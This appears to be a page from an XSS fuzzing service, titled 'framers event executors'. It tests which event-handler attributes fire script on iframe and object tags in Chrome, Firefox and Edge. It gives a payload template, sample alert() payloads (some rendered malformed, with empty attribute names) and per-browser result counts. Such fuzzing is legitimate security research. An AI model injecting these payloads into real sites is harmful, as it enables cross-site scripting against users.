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framers event executors

⚠ Browser differences
Chrome logo 2
Firefox logo 4
Edge logo 2

try seeing which events execute when attached to which framer tags

weizman
Created byweizman
Created Apr 10, 2024
Updated May 11, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderframers
$[data2] placeholderevents
Template used:
<$[data1] src="about:blank" $[data2]="log('$[data1] , $[data2]')"></$[data1]>

Sample payloads

<iframe  src="about:blank" ="alert('iframe  , ')"></iframe >
< onload src="about:blank" ="alert(' onload , ')"></ onload>
<object  src="about:blank" ="alert('object  , ')"></object >
< onerror src="about:blank" ="alert(' onerror , ')"></ onerror>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 2 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated18 Feb 2026
Found 2 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 4 results
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Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 2 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 2 results
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